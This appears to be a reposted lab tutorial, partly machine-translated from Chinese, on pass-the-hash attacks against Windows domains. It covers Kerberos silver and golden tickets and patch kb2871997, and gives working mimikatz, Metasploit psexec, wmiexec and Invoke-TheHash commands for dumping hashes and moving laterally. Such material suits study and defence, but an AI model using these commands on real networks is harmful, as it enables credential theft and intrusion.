Domain penetration - pass the credentials attack (pass the hash) full summary

Summarize PtH specific form (wmicexec, powershell, msf, etc.)

 

 

 

 

 

0x01 PtH Attacks && gold and silver notes

 

PtH Attacks

Wiki   https://en.wikipedia.org/wiki/Pass_the_hash writing is very clear 

 

Wherein the system is important that windows using the API ( the LsaLogonUser ) generated hash to authenticate, rather than plain text, so the hash can be simulated using a user login operation . There is a password longer than 15 if there is no LM Hash, start windows2008 from Microsoft is disabled by default LM hash.

 

This is also a good understanding of the principles of the pth.

 

 

 

Windows Server 2008 enable LM hash method:

gpedit.msc-计算机配置-Windows 设置-安全设置-本地策略-安全选项

Find 网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值, select已禁用

 

After a change in the system password, you can export the LM hash

 

 

Took over kerberos authentication process under review, the difference between silver and gold notes the difference between notes.

 

 

 

 kerberos authentication rough process:

  1. client向kerberos服务请求,希望获取访问server的权限。 kerberos得到了这个消息,首先得判断client是否是可信赖的, 也就是白名单黑名单的说法。这就是AS服务完成的工作,通过 在AD中存储黑名单和白名单来区分client。认证成功后,KDC此时生成一个随机字符串,叫Session Key,使用用户名对应的NTLM Hash加密Session Key,作为AS数据,使用KDC中某个用户(krbtgt)的NTLM Hash加密Session Key和客户端的信息,生成TGT。      
  2. client得到了TGT后,继续向kerberos请求,希望获取访问 server的权限。客户端需要提供TGT与第一步中AS数据使用自己NTLM Hash解密出来的Session Key加密的客户端信息跟时间戳。kerberos又得到了这个消息,这时候通过client 消息中的TGT,判断出了client拥有了这个权限。验证通过后,就会生成一个新的Session Key,我们称之为Server Session Key,这个Server Session Key主要用于和服务器(不是KDC)进行通信。同时还会生成一个Ticket,也就是最后的票据了。给了client访 问server的权限ticket(ST,也就是server hash,包含请求客户端的主机名和客户端信息加上server session key还有票据失效时间)
  3. client得到ticket后,终于可以成功访问server。client会用Ticket,Server Session Key加密的客户端信息与时间戳去请求server。这个ticket只是 针对这个server,其他server需要向TGS申请。

 

白银票据(Silver Tickets)

白银票据特点:

  • 1.不需要与KDC进行交互

  • 2.需要目标服务的NTLM Hash

在第三步认证中的Ticket的组成:

Ticket=Server Hash(Server Session Key+Client info+End Time)

当拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket

大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证)

这里暂且不谈pac的伪造。

 

 

 

 

黄金票据(Golden Tickets)

黄金票据特点:

  • 1.需要与DC通信

  • 2.需要krbtgt用户的hash

这里的krbtgt hash就是之前讲的KDC Hash

Kerberos黄金票据是有效的TGT Kerberos票据,因为它是由域Kerberos帐户(KRBTGT)加密和签名的  。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。

 

 

 

 

 

 

 

 0x02 PtH 攻击实现多种方法

首先先来看看历史上微软对pass the hash攻击出的文档:

http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf 

 

而我们需要关注的就是对于这种攻击微软的经典补丁:

kb2871997禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享。

这个补丁发布后常规的Pass The Hash已经无法成功,唯独默认的 Administrator (SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程连接。

并且值得注意的是即使administrator改名,它的SID仍然是500,这种攻击方法依然有效。所以对于防御来说,即使打了补丁也要记得禁用SID=500的管理员账户

相关链接如下:
http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html

 

 现在也有手法对应pth,例如LAPS

 1)首先是mimikatz2.0

pass the key:

privilege::debug

sekurlsa::logonpasswords

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0

弹出cmd 这时候时候net use也可以了

net use \\192.168.5.3\c$

 

mimikatz资料中重点:

ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.

 

ntlm散列在XP/2003/Vista/2008和7/2008r2/8/2012 安装补丁kb2871997前是强制性的;AES密钥只能用在8.1/2012r2安装了kb2871997补丁的7/2008r2/8/2012上替换,在这种情况下可以避免ntlm散列。

mimikatz的pth功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe的信息

这里拿windows r2原版 安装kb2871997来实验。

 

使用mimikatz先获取hash:

mimikatz "privilege::debug" "sekurlsa::ekeys"

 

 

注意这里mimikatz是复制不了的

 

解决方法是使用日志记录功能将回显内容输出到文件中,开启日志记录功能后会把输出回显的内容保存在同级目录下的mimikatz.log中,命令参考如下:

mimikatz log privilege::debug sekurlsa::ekeys

 

 

 

       aes256_hmac       00842449e386b266f1bb945888de5696a913c3630f51997b2cd1395f3c6d99bf
       aes128_hmac       4bd64fecaa1438851981d52e574f27c2
       rc4_hmac_nt       dfe6e4a03f78f6b4ce617ed0ed1e5e53
       rc4_hmac_old      dfe6e4a03f78f6b4ce617ed0ed1e5e53
       rc4_md4           dfe6e4a03f78f6b4ce617ed0ed1e5e53
       rc4_hmac_nt_exp   dfe6e4a03f78f6b4ce617ed0ed1e5e53
       rc4_hmac_old_exp  dfe6e4a03f78f6b4ce617ed0ed1e5e53

 

 

 使用aes key  pass the key

 

成功

 

 注意这里是主机名 不是ip。

 

 

 

 

 2)meterpreter

使用经典模块:

use exploit/windows/smb/psexec_psh

或者kali里集成的工具集 很多

这个模块可以利用有效的管理员用户名和密码(或密码哈希)来执行一个任意Payload,这个模块跟SysInternals提供的“psexec”实用工具非常类似,而且该模块现在还可以在攻击完成之后自动清理痕迹。这款工具所创建的服务使用的是随机选择的用户名及相关描述。

 

msf5 > use exploit/windows/smb/smb_
use exploit/windows/smb/smb_delivery  use exploit/windows/smb/smb_relay
msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.5.3
rhosts => 192.168.5.3
msf5 exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser => Administrator
msf5 exploit(windows/smb/psexec) > set SMBPass 31d6cfe0d16ae931b73c59d7e0c089c0
SMBPass => 31d6cfe0d16ae931b73c59d7e0c089c0
msf5 exploit(windows/smb/psexec) > show options 

 

 

 

 

同样的你可以用psexec 都是ok 的。

使用PSExec前提:SMB服务必须开启以及可达。文件和打印机共享必须开启,禁止简单文件共享。 
Admin$必须可以访问。PSExec使用的口令必须可以访问Admin$共享。 
在PSExec可执行文件中含有一个Windows服务。它利用该服务并且在远端机器上部署Admin$。然后通过SMB使用DCE/RPC接口来访问Windows Service Control Manager API。然后在远程主机中开启PSExec访问。然后PSExec服务创建一个命名管道,用它来发送命令。 

 

 

 3)wmiexec:

windows 管理规范[WMI]”,实际上就是windows从03/xp开始就一直内置的一个系统插件,其设计初衷之
一是为了管理员能更加方便的对远程windows主机进行各种日常管理,它意味着我们可以直接在本地操作远程目标机器上的进程,服
务,注册表等其它的一系列的特权操作,严格来说它其实是为各种服务提供一个统一的调用接口而设计的。

python exe

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

exe版本下载地址:

https://github.com/maaaaz/impacket-examples-windows

注:

wmiexec.py的注释中提示”Main advantage here is it runs under the user (has to be Admin) account”,经实际测试普通用户权限即可

这里拿window2003标准版演示

wmiexec.exe -hashes 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 QING-31E5FF29B3/Administrator@192.168.5.9 "dir"

 

 

 powershell

 https://github.com/Kevin-Robertson/Invoke-TheHash/

使用Invoke-WMIExec:

官方用法:

 

Invoke-WMIExec -Target 192.168.5.9 -Domain QING-31E5FF29B3 -Username Administrator -Hash 32ed87bdb5fdc5e9cba88547376818d4 -Command "calc.exe" -verbose

 

 

另外还有Invoke-SMB等脚本都可以进行利用,利用方法也差不多一样:

Invoke-SMBExec

支持SMB1, SMB2 (2.1), and SMB signing

Invoke-SMBExec -Target 192.168.3.21 -Domain QING-31E5FF29B3
-Username Administrator -Hash 32ed87bdb5fdc5e9cba88547376818d4 -Command "calc.exe" -verbose

通过在目标主机创建服务执行命令,所以权限为system

Invoke-SMBClient

支持SMB1, SMB2 (2.1), and SMB signing,如果只有SMB文件共享的权限,没有远程执行权限,可以使用该脚本。

支持的功能包括列举目录、上传文件、下载文件、删除文件(具体权限取决于该口令hash的权限)

 

拥有票据后继续信息收集即可 如果有powershell,

powershell执行

查看Administrators组


   $members = @($([ADSI]”WinNT://WIN-6I39VTOHS15/Administrators”).psbase.Invoke(“Members”))
   $members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) }

查看Domain Users组

$members = @($([ADSI]”WinNT://domian/Domain Users”).psbase.Invoke(“Members”))
$members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) }

 

Guess you like

Origin www.cnblogs.com/-qing-/p/11374136.html